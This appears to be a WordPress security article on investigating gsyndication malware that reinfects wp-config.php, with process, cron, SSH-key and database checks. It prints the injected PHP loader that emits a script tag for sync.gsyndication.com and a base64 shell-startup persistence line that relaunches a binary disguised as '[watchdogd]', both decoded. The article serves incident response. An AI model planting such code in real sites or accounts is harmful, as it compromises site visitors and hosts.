WordPress wp-config.php Malware (gsyndication): Investigate Reinfection

If injected code returns to wp-config.php after removal, investigate the process or access path that is writing it. A recurring sync.gsyndication.com injection is an indicator to examine, not proof that every site has the same cron job, process, or entry point. Cleaning one line cannot resolve a separate persistence mechanism.

gsyndication.com and googlesyndication.com are different domains. The latter is used by Google's advertising services. Do not label every legitimate advertising script malware based on the similar spelling. This article examines the injected code shown below and the host-level persistence that can accompany it.

Before changing files, isolate the affected site as appropriate and preserve a private copy of its files, database, and relevant logs. Work from a trusted machine and involve the hosting provider if you cannot inspect the account or server. The WordPress hacked-site guide covers recovery and credential rotation.

If you're struggling with mysterious updates to your wp-config.php file in your WordPress installation, you're not alone. Many WordPress administrators have encountered PHP code being injected into their configuration file, often resembling the following snippet:

<?php ini_set("display_errors",0); ini_set("display_startup_errors",0); if (PHP_SAPI !== "cli" && (strpos(@$_SERVER["REQUEST_URI"], "/wp-admin/admin-ajax.php") === false && strpos(@$_SERVER["REQUEST_URI"], "/wp-json") === false && strpos(@$_SERVER["REQUEST_URI"], "/wp/v2") === false && strpos(@$_SERVER["REQUEST_URI"], "/wp-admin") === false && strpos(@$_SERVER["REQUEST_URI"], "/wp-login.php") === false && strtolower(@$_SERVER["HTTP_X_REQUESTED_WITH"]) !== "xmlhttprequest")) { print(base64_decode("PHNjcmlwdCBzcmM9Ii8vc3luYy5nc3luZGljYXRpb24uY29tLyI+PC9zY3JpcHQ+")); } ?>

Here is the decoded string. Decode suspicious snippets locally as data; do not execute them or upload a whole configuration file containing database credentials to a web tool:

<script src="//sync.gsyndication.com/"></script>

Some variants use async.gsyndication.com instead of sync.; treat this as another indicator to investigate:

<script src="//async.gsyndication.com/"></script>

Note the domain: sync.gsyndication.com and async.gsyndication.com are deliberate lookalikes of Google's legitimate ad domains (googlesyndication.com and pagead2.googlesyndication.com), which is exactly what lets the injected line hide in plain sight when you skim your file. They are not Google. If you got here by pasting the exact string you found in your wp-config.php, you are in the right place.

The steps below are an investigation sequence. A clean scan or a removed string alone does not prove the compromise is resolved.

Possible entry points and persistence locations to investigate include:

1. Initial Infection

   • Exploits vulnerable plugins or themes
   • Uses compromised admin credentials
   • Takes advantage of outdated WordPress installations

2. Persistence Mechanisms

   • Injects code into wp-config.php
   • Creates hidden system processes
   • Establishes cron jobs for reinfection

3. Impact on Your Site

   • Loads malicious JavaScript
   • May display unwanted advertisements
   • Potentially steals user data
   • Impacts site performance

Tools Needed for Removal

Before starting the removal process, ensure you have access to:

1. Server Access

   • SSH access to your server
   • File manager access
   • Database access

2. Security Tools

   • File integrity checker
   • Malware scanner
   • Process monitor

3. Backup Solution

   • Full site backup
   • Database backup
   • wp-config.php backup

Follow these steps carefully to remove the gsyndication.com malware from your WordPress site:

Step 1: Inspect Files in Your Root Directory

Attackers often plant malicious code in .bashrc, .profile, or .bash_profile files in your hosting account's root directory or the users home directory. These files execute automatically when processes related to your user account are started.

Look for unexpected shell-startup lines like this. The following payloads are evidence examples, not commands to run:

# DO NOT REMOVE THIS LINE. SEED PRNG. #defunct-kernel
{ echo L2Jpbi9wa2lsbCAtMCAtVTEwMDUgZGVmdW5jdCAyPi9kZXYvbnVsbCB8fCAoVEVSTT14dGVybS0yNTZjb2xvciBHU19BUkdTPSItayAvaG9tZS95b3Vyb21haW4uY29tLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgZXhlYyAtYSAnW3dhdGNoZG9nZF0nICcvaG9tZS95b3Vyb21haW4uY29tLy5jb25maWcvaHRvcC9kZWZ1bmN0JyAyPi9kZXYvbnVsbCkK

Base64 Decoded Version:

/bin/pkill -0 -U1005 defunct 2>/dev/null || (TERM=xterm-256color GS_ARGS="-k /home/yourdomain.com/.config/htop/defunct.dat -liqD" exec -a '[watchdogd]' '/home/yourdomain.com/.config/htop/defunct') 2>/dev/null

The decoded command checks for a process and starts the named executable if the check fails. The “SEED PRNG” comment is camouflage; this snippet is not evidence of a legitimate random-number generator setup.

They may also add the same code as a cron job to ensure persistence. Check your crontab for any similar code added as a cron item. To view your crontab, you can use the following command:

crontab -l

If you find any suspicious entries, you can remove them by editing the crontab:

crontab -e

Additionally, search for malicious files across the server or other sites hosted on the same server. Use the following commands to find defunct or defunct.dat:

find / -name "defunct" -o -name "defunct.dat" 2>/dev/null

This command will scan the entire server for these files. Replace / with specific directories if you want to narrow down the search scope.

Step 2: Detect Suspicious Processes

Malicious processes, often named watchdogd or defunct, are created to maintain persistence. While the example here uses watchdogd, attackers often adapt the names of these processes to resemble legitimate system services, making them appear normal to an unsuspecting admin. These processes can infect files and execute malicious scripts.

Example: Checking for Suspicious Processes

Run the following command:

ps aux | grep -E "watchdogd|defunct"

Sample output:

root@webserver:/home/siteuser# ps aux | grep -E "watchdogd|defunct"
root         38  0.0  0.0      0     0 ?        S    Jan07   0:00 [watchdogd]
siteuser   10435  0.0  0.0   3164     4 ?        Ss   Jan07   0:00 [watchdogd]
siteuser   10436  0.0  0.0   3292   324 ?        S    Jan07   1:12 [watchdogd]

A process name alone is not a verdict. A kernel [watchdogd] thread can be legitimate, and <defunct> in process output can mean a zombie process rather than a malware filename. Confirm the PID's owner, parent, executable path, and command line before taking action.

Example: Check Processes for a Specific User

To list processes for the compromised user, run:

ps -u siteuser

Sample output:

root@webserver:/home/siteuser# ps -u siteuser
   PID TTY          TIME CMD
 10435 ?        00:00:00 defunct
 10436 ?        00:01:12 defunct
682977 ?        00:00:00 lsphp

In this case, defunct processes are tied to the siteuser account. Investigate whether these PIDs are actually writing the affected file. If root compromise is suspected, involve the host and plan recovery from a trusted system image; do not kill every process with a matching name.

Record confirmed malicious PIDs and their executable paths before stopping them. Remove their verified restart mechanism, then terminate those specific processes. Do not copy the sample PIDs from this article; they could identify unrelated services on your machine.

Step 3: Clean Up Malicious Code

1. Stop confirmed malicious processes. Use the PIDs you investigated, preserve evidence, and verify that the process does not restart. A process match is not enough on its own.

2. Remove Malicious Entries Open .bashrc, .profile, and similar files, and remove any suspicious lines. For example:

nano ~/.bashrc

3. Check for Additional Files Inspect unexpected executables and persistence files without running them. Quarantine confirmed malicious files after preserving a private evidence copy. Do not delete a legitimate ~/.config/htop directory solely because an example used that name.

Step 4: Secure Your Environment

1. Set Proper Permissions Secure critical WordPress files to prevent unauthorized modifications:

# Inspect before changing ownership or modes:
ls -l wp-config.php

Choose ownership and permissions that let the application read its configuration without unnecessary write access. File modes alone cannot stop an attacker who controls the same account or root.

2. Monitor Logs Review server logs to identify unauthorized access:

tail -f /var/log/auth.log

3. Reset Passwords Update all credentials, including hosting control panel, database, and SFTP passwords.

4. Close the entry point. Patch or replace vulnerable code, audit accounts and authorized keys, and restore trusted application files. Disabling selected PHP functions is not a substitute for removing persistence and can break legitimate tools.

Limitations of Security Plugins

Popular WordPress security plugins such as Wordfence, Sucuri, or iThemes Security may not detect this malware because it resides outside the document root of your site. These tools primarily scan WordPress files and the database but might overlook system-level infections.

To enhance security:

• Use server-side malware scanners like ClamAV.
• Regularly audit your hosting environment for anomalies.
• Monitor system processes and logs for suspicious activity.

Breakdown of the Injected PHP Script

The injected PHP script performs the following:

1. Environment Check: It ensures the script runs only in non-CLI environments by checking PHP_SAPI !== "cli".

2. Selective Execution: The script avoids running on specific WordPress API endpoints such as admin-ajax.php, wp-json, and wp-admin. This prevents detection during typical site maintenance tasks.

3. Payload Execution: The base64_decode() function decodes and outputs the malicious JavaScript:

<script src="//sync.gsyndication.com/"></script>

This script is likely used to serve malicious ads, steal data, or further compromise the site.

Does This Provide Shell Access to Attackers?

If the attacker exploited your system with root access, they could have gained full shell access to your server. Even as a non-root user, they can infect files and execute malicious commands. Determine the scope from evidence. A suspicious name does not establish shell or root access, but a verified account compromise requires reviewing that account's files, credentials, and other hosted sites.

Why the gsyndication malware keeps reinfecting wp-config.php

When the injected line comes back, look for the writer and how it restarts. These are investigation targets, not mechanisms established for every infection:

• The hidden process. The [watchdogd] / defunct process from Step 2 stays resident and rewrites wp-config.php on a loop. Clean the file while it is still running and it re-injects immediately.
• The cron job and shell-init files. The crontab entry and the .bashrc / .profile lines from Step 1 relaunch the process on a schedule and on every login, so a killed process comes straight back unless you remove these first.
• An SSH key the attacker left behind. These campaigns commonly write their own key into ~/.ssh/authorized_keys (and hidden .ssh directories at the site root and one level up), so the attacker can log straight back in and re-infect even after you rotate every password. Open ~/.ssh/authorized_keys, remove any key you do not recognise, and preserve legitimate SSH access and investigate unfamiliar .ssh folders before removing anything. Rotating credentials without this leaves the back door wide open, and it can explain reinfection after a password change.
• The database. This family is mostly file- and process-based, but other ad-injection compromises also persist in the database, and they recreate a malicious ads.txt in the web root to keep monetising the hijack. Check the wp_options table (below) and remove any recreated ads.txt you did not author.

Check the wp_options database table for gsyndication entries

Use a trusted database client to inspect a preserved copy if possible. The example below is a read-only query; replace wp_options if your table prefix differs. A match is a lead, not proof that the row is malicious. WP-CLI can load compromised configuration, plugins, or must-use code, so do not treat running it on an infected site as an isolated scan:

wp db query "SELECT option_id, option_name FROM wp_options WHERE option_value LIKE '%gsyndication%' OR option_value LIKE '%base64_decode%';"

Back up any matching row, then remove or clean it. Scan post content too if the ads appeared inside pages.

After containment and evidence preservation, remove verified persistence, restore trusted files and reviewed database content, close the entry point, and rotate affected credentials and WordPress salts. Check other sites under the same account and monitor for recurrence. The order depends on the incident; there is no command sequence that guarantees a clean host. See WordPress malware persistence mechanisms and the broader WordPress malware removal guide.

Troubleshooting Common Issues

During the malware removal process, you might encounter these common issues:

1. Malware Keeps Returning

If the malware reappears after removal:

• Check for compromised FTP/SFTP credentials
• Scan all WordPress files for backdoors
• Review server-level cron jobs
• Audit user permissions

2. Site Breaking After Cleanup

If your site malfunctions after malware removal:

• Restore clean wp-config.php from backup
• Verify database credentials
• Check WordPress salt keys
• Review plugin compatibility

3. Performance Issues

If your site remains slow after cleanup:

• Clear all caches
• Review server logs for ongoing attacks
• Monitor resource usage
• Check for remaining malicious processes

Prevention Tips

To prevent future infections of the gsyndication.com malware:

1. Regular Updates

   • Keep WordPress core updated
   • Update all plugins and themes promptly
   • Monitor security announcements

2. Security Hardening

   • Use strong passwords
   • Enable two-factor authentication
   • Implement IP blocking for repeated failed logins
   • Regular backup schedule

3. File Monitoring

   • Set up file integrity monitoring
   • Configure real-time alerts for file changes
   • Regular security scans

4. Server-Level Security

   • Use ModSecurity rules
   • Configure proper file permissions
   • Regular server security audits

Frequently Asked Questions

Additional Resources

For more information and help with WordPress security:

1. Official Documentation

   • WordPress Security Guide
   • PHP Security Best Practices

2. Security Tools

   • WordPress File Integrity Checkers
   • Server-Side Malware Scanners

3. Community Support

   • WordPress Support Forums
   • WordPress Stack Exchange

Final Thoughts

The gsyndication.com malware is a sophisticated threat that requires a thorough approach to removal and prevention. By following this guide and implementing proper security measures, you can not only remove the current infection but also protect your site from future attacks.

Remember:

• Regular backups are your first line of defense
• Keep all software components updated
• Monitor your site regularly for suspicious activity
• Implement multiple layers of security
• Stay informed about new security threats

Your WordPress site's security is an ongoing process, not a one-time task. Stay vigilant and proactive in your security measures to keep your site safe from malware like gsyndication.com and other emerging threats.

See also

• How to Remove WordPress Malware: The Practitioner's Playbook: the broader cleanup methodology this article is one specific example of. Covers the file-system, database, .htaccess, and credential layers the gsyndication family touches.
• How to Change a WordPress Password: the credential-rotation step that has to follow any wp-config.php compromise; pick a method based on whether you still have admin access.
• How to Reset a Forgotten MySQL Root Password: when the database credentials in wp-config.php were exposed and need rotating at the MySQL layer too.
• WordPress Malware Persistence Mechanisms: every place this family and its cousins hide to survive a cleanup, the reason a files-only pass keeps failing.
• A Hardened wp-config.php Template: the permissions, constants, and DISALLOW_FILE_EDIT settings that make the file harder to rewrite once you have cleaned it.
• Server-Side WordPress File Integrity Monitoring: catch the re-injection the moment it happens, from outside WordPress where this malware lives.
• WordPress Entry-Point Log Forensics: trace how the attacker got in so you close the door instead of just mopping the floor.
• The Fake Cloudflare Verification (ClickFix) Attack on WordPress: a different infection in the same family, where the injected payload shows visitors a fake "verify you are human" box that tricks them into pasting a command, and how to spot and remove it.